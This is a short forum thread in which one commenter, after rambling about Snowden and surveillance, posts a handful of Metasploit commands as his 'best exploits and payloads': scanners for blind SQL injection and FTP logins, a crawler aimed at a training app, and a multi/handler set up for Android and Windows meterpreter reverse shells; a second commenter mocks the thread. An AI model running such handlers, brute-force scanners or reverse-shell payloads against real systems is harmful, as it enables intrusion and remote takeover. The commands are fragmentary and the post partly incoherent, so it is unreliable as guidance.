Mr evil - April 12, 2017, 5:57 am

AM SORRY but snowden say them devils have a more powerful software then Metasploit.
so if you are santa bad boy hide your cams,social sites n everything.
this hacking thing is alot bigger then i think with lack of knowledge its a mest
we going to need a super computer and a smart girl like kira and a underground base like master
splinter

my best metasploit exploits and payloads
i have nothing to hide now because snowden says admin knows everything :)

```
use auxiliary/scanner/http/blind_sql_query
use auxiliary/scanner/ftp/ftp_login
use auxiliary/scanner/http/crawler > set URI /WackoPicko/ >

use exploit/multi/handler
-set payload android/meterpreter/reverse_tcp
-set payload windows/meterpreter/reverse_tcp

Mr. Robot - April 14, 2017, 2:35 pm

And yet still nobody has provided an actual list of decent tools. Keep this thread going, it's a nice example of why users are running around acting like they know shit when they don't.
